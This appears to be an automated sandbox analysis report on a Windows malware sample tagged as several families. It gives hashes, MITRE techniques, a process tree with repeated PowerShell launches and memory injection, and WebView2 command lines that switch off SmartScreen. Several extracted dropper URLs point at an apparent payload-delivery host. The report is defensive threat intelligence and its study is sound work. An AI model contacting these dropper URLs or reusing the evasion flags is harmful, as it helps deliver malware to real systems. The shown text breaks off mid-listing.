e7f5d0f9bd18b268c8832b5222fa05cb3650e6deeeaf7d3a92a3a619a8c11d8a

Analysis

max time kernel
120s
max time network
166s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
02/08/2026, 02:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
Size 9.3MB
Sample260802-dabpwssfrb
SHA256 e7f5d0f9bd18b268c8832b5222fa05cb3650e6deeeaf7d3a92a3a619a8c11d8a
MD5 a3916ae7a227f64cf2f9012b04843555
SHA1 4b19407d8717b1e6a61788be50384591a531fc9c
SHA512 6a02261b45a6510d96dde2e7b8ea0688f3abc491318110e1ecdabe567c21e5f68cd7629447a1c638708233a033e81e7160b0da2011bebb765241521e261a5667
SSDEEP 98304:EWF0n7x09cmPV6N98SgS9l/jvlQP9aX/wqxMxzJQK2PwDOcksTZhWCbMzXmnbm4:6n7xK6N979vyaXdy5ksTMzXmD
TLSH
T17EA66E03F66250F8C06AC174831AE633F736B88D592476BF2BA45B312E6AF506F1D758
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution trojan

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=NewsBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=EventBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=AdminCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=ForceGetBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BanCheckBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=RegisterBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=TrialBooster

Extracted

Language

Source

URLs

exe.dropper
https://privateredeyeapi.com/?action=BroadcastGetBooster

Signatures

Badlisted process makes network request 25 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	3316	powershell.exe
25	3316	powershell.exe
27	1692	powershell.exe
28	2280	powershell.exe
29	1692	powershell.exe
30	2280	powershell.exe
32	3316	powershell.exe
33	4568	powershell.exe
29	1692	powershell.exe
35	4568	powershell.exe
36	4284	powershell.exe
37	3424	powershell.exe
38	5180	powershell.exe
39	5924	powershell.exe
42	5180	powershell.exe
43	5924	powershell.exe
44	3424	powershell.exe
45	904	powershell.exe
46	4684	powershell.exe
47	904	powershell.exe
48	4592	powershell.exe
52	4592	powershell.exe
52	4592	powershell.exe
55	904	powershell.exe
47	904	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 62 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3316	powershell.exe
6112	powershell.exe
4364	powershell.exe
828	powershell.exe
3832	powershell.exe
4592	powershell.exe
4652	powershell.exe
5932	powershell.exe
1548	powershell.exe
1452	powershell.exe
5912	powershell.exe
1676	powershell.exe
5912	powershell.exe
1168	powershell.exe
2064	powershell.exe
3664	powershell.exe
3124	powershell.exe
5412	powershell.exe
4636	powershell.exe
5360	powershell.exe
1672	powershell.exe
1088	powershell.exe
5372	powershell.exe
4444	powershell.exe
2492	powershell.exe
752	powershell.exe
6012	powershell.exe
4932	powershell.exe
4984	powershell.exe
4128	powershell.exe
6012	powershell.exe
5240	powershell.exe
4924	powershell.exe
2416	powershell.exe
4852	powershell.exe
1452	powershell.exe
2892	powershell.exe
2084	powershell.exe
5264	powershell.exe
5968	powershell.exe
5200	powershell.exe
4448	powershell.exe
4680	powershell.exe
2116	powershell.exe
2684	powershell.exe
3436	powershell.exe
2892	powershell.exe
4784	powershell.exe
2352	powershell.exe
5456	powershell.exe
3240	powershell.exe
1692	powershell.exe
4568	powershell.exe
4284	powershell.exe
5180	powershell.exe
3424	powershell.exe
5924	powershell.exe
4592	powershell.exe
2280	powershell.exe
3316	powershell.exe
904	powershell.exe
4684	powershell.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4460_1450830615\manifest.json	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4460_1450830615\manifest.fingerprint	msedgewebview2.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping4460_1450830615\crl-set	msedgewebview2.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3844	powershell.exe
3440	powershell.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
3440	powershell.exe
3440	powershell.exe
1692	powershell.exe
1692	powershell.exe
2280	powershell.exe
2280	powershell.exe
5240	powershell.exe
5240	powershell.exe
3844	powershell.exe
3844	powershell.exe
4784	powershell.exe
4784	powershell.exe
2492	powershell.exe
2492	powershell.exe
1692	powershell.exe
3440	powershell.exe
5240	powershell.exe
5968	powershell.exe
5968	powershell.exe
2280	powershell.exe
3844	powershell.exe
4784	powershell.exe
2492	powershell.exe
5968	powershell.exe
3316	powershell.exe
3316	powershell.exe
3316	powershell.exe
4568	powershell.exe
4568	powershell.exe
4568	powershell.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
4284	powershell.exe
4284	powershell.exe
4284	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
5180	powershell.exe
5180	powershell.exe
3424	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4460	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeDebugPrivilege	2280	powershell.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	5968	powershell.exe
Token: SeIncreaseQuotaPrivilege	3440	powershell.exe
Token: SeSecurityPrivilege	3440	powershell.exe
Token: SeTakeOwnershipPrivilege	3440	powershell.exe
Token: SeLoadDriverPrivilege	3440	powershell.exe
Token: SeSystemProfilePrivilege	3440	powershell.exe
Token: SeSystemtimePrivilege	3440	powershell.exe
Token: SeProfSingleProcessPrivilege	3440	powershell.exe
Token: SeIncBasePriorityPrivilege	3440	powershell.exe
Token: SeCreatePagefilePrivilege	3440	powershell.exe
Token: SeBackupPrivilege	3440	powershell.exe
Token: SeRestorePrivilege	3440	powershell.exe
Token: SeShutdownPrivilege	3440	powershell.exe
Token: SeDebugPrivilege	3440	powershell.exe
Token: SeSystemEnvironmentPrivilege	3440	powershell.exe
Token: SeRemoteShutdownPrivilege	3440	powershell.exe
Token: SeUndockPrivilege	3440	powershell.exe
Token: SeManageVolumePrivilege	3440	powershell.exe
Token: 33	3440	powershell.exe
Token: 34	3440	powershell.exe
Token: 35	3440	powershell.exe
Token: 36	3440	powershell.exe
Token: SeIncreaseQuotaPrivilege	5240	powershell.exe
Token: SeSecurityPrivilege	5240	powershell.exe
Token: SeTakeOwnershipPrivilege	5240	powershell.exe
Token: SeLoadDriverPrivilege	5240	powershell.exe
Token: SeSystemProfilePrivilege	5240	powershell.exe
Token: SeSystemtimePrivilege	5240	powershell.exe
Token: SeProfSingleProcessPrivilege	5240	powershell.exe
Token: SeIncBasePriorityPrivilege	5240	powershell.exe
Token: SeCreatePagefilePrivilege	5240	powershell.exe
Token: SeBackupPrivilege	5240	powershell.exe
Token: SeRestorePrivilege	5240	powershell.exe
Token: SeShutdownPrivilege	5240	powershell.exe
Token: SeDebugPrivilege	5240	powershell.exe
Token: SeSystemEnvironmentPrivilege	5240	powershell.exe
Token: SeRemoteShutdownPrivilege	5240	powershell.exe
Token: SeUndockPrivilege	5240	powershell.exe
Token: SeManageVolumePrivilege	5240	powershell.exe
Token: 33	5240	powershell.exe
Token: 34	5240	powershell.exe
Token: 35	5240	powershell.exe
Token: 36	5240	powershell.exe
Token: SeIncreaseQuotaPrivilege	3844	powershell.exe
Token: SeSecurityPrivilege	3844	powershell.exe
Token: SeTakeOwnershipPrivilege	3844	powershell.exe
Token: SeLoadDriverPrivilege	3844	powershell.exe
Token: SeSystemProfilePrivilege	3844	powershell.exe
Token: SeSystemtimePrivilege	3844	powershell.exe
Token: SeProfSingleProcessPrivilege	3844	powershell.exe
Token: SeIncBasePriorityPrivilege	3844	powershell.exe
Token: SeCreatePagefilePrivilege	3844	powershell.exe
Token: SeBackupPrivilege	3844	powershell.exe
Token: SeRestorePrivilege	3844	powershell.exe
Token: SeShutdownPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 4460	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	89
PID 4460 wrote to memory of 3360	4460	msedgewebview2.exe	90
PID 4460 wrote to memory of 3024	4460	msedgewebview2.exe	91
PID 4460 wrote to memory of 3024	4460	msedgewebview2.exe	91
PID 4460 wrote to memory of 3024	4460	msedgewebview2.exe	91
PID 4460 wrote to memory of 3024	4460	msedgewebview2.exe	91
PID 4460 wrote to memory of 5000	4460	msedgewebview2.exe	92
PID 4460 wrote to memory of 1928	4460	msedgewebview2.exe	93
PID 4460 wrote to memory of 1928	4460	msedgewebview2.exe	93
PID 4460 wrote to memory of 1928	4460	msedgewebview2.exe	93
PID 4460 wrote to memory of 5796	4460	msedgewebview2.exe	94
PID 4460 wrote to memory of 5796	4460	msedgewebview2.exe	94
PID 4460 wrote to memory of 5796	4460	msedgewebview2.exe	94
PID 4460 wrote to memory of 5796	4460	msedgewebview2.exe	94
PID 4460 wrote to memory of 5796	4460	msedgewebview2.exe	94
PID 2224 wrote to memory of 3316	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	95
PID 2224 wrote to memory of 3440	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	97
PID 2224 wrote to memory of 1692	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	98
PID 2224 wrote to memory of 3844	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	99
PID 2224 wrote to memory of 2280	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	100
PID 2224 wrote to memory of 4784	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	101
PID 2224 wrote to memory of 5240	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	107
PID 2224 wrote to memory of 2492	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	109
PID 2224 wrote to memory of 5968	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	112
PID 2224 wrote to memory of 3316	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	116
PID 2224 wrote to memory of 4568	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	117
PID 2224 wrote to memory of 4284	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	120
PID 2224 wrote to memory of 752	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	122
PID 2224 wrote to memory of 5180	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	124
PID 2224 wrote to memory of 3424	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	125
PID 2224 wrote to memory of 5924	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	128
PID 2224 wrote to memory of 904	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	134
PID 2224 wrote to memory of 2352	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	135
PID 2224 wrote to memory of 5200	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	136
PID 2224 wrote to memory of 5456	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	140
PID 2224 wrote to memory of 4448	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	141
PID 2224 wrote to memory of 3240	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	144
PID 2224 wrote to memory of 1168	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	146
PID 2224 wrote to memory of 5912	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	148
PID 2224 wrote to memory of 4592	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	166
PID 2224 wrote to memory of 4652	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	152
PID 2224 wrote to memory of 4680	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	154
PID 2224 wrote to memory of 4924	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	156
PID 2224 wrote to memory of 1672	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	158
PID 2224 wrote to memory of 2416	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	160
PID 2224 wrote to memory of 4684	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	162
PID 2224 wrote to memory of 4852	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	164
PID 2224 wrote to memory of 4592	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	166
PID 2224 wrote to memory of 6012	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	168
PID 2224 wrote to memory of 1452	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	194
PID 2224 wrote to memory of 1088	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	197
PID 2224 wrote to memory of 4932	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	174
PID 2224 wrote to memory of 2892	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	176
PID 2224 wrote to memory of 2064	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	178
PID 2224 wrote to memory of 5932	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	180
PID 2224 wrote to memory of 3664	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	182
PID 2224 wrote to memory of 6112	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	184
PID 2224 wrote to memory of 2084	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	186
PID 2224 wrote to memory of 1548	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	188
PID 2224 wrote to memory of 3124	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	190
PID 2224 wrote to memory of 5412	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	192
PID 2224 wrote to memory of 1452	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	194
PID 2224 wrote to memory of 4984	2224	2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe	196
PID 4460 wrote to memory of 2532	4460	msedgewebview2.exe	198

C:\Users\Admin\AppData\Local\Temp\2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe"
1⤵
- Checks whether UAC is enabled
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2224
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --autoplay-policy=no-user-gesture-required --disable-features=msWebOOUI,msPdfOOUI,msSmartScreenProtection --enable-features=MojoIpcz --lang=en-US --accept-lang=en-US --mojo-named-platform-channel-pipe=2224.2956.12111633302256495453 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView /prefetch:4 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.139 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=122.0.2365.106 --initial-client-data=0x184,0x188,0x18c,0x160,0x194,0x7ffd60cb5fd8,0x7ffd60cb5fe4,0x7ffd60cb5ff0
    3⤵
    PID:3360
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=gpu-process --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1768 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:2 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:3024
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2028 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:3 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:5000
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=2296 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:1928
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --autoplay-policy=no-user-gesture-required --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --mojo-platform-channel-handle=3396 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa /prefetch:1
    3⤵
    PID:5796
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\net.redbooster.app\EBWebView" --webview-exe-name=2026-08-02_a3916ae7a227f64cf2f9012b04843555_akira_cobalt-strike_glassworm_rusty-stealer_satacom.exe --webview-exe-version=4.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --edge-webview-custom-scheme --no-appcompat-clear --mojo-platform-channel-handle=4340 --field-trial-handle=1772,i,15100784072686346984,1696739235061747843,262144 --enable-features=MojoIpcz --disable-features=msPdfOOUI,msSmartScreenProtection,msWebOOUI --variations-seed-version /prefetch:8 /pfhostedapp:eba7e9b400d65d6cea39c08c754997b4a7de1eaa
    3⤵
    PID:2532
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\msedgewebview2.exe
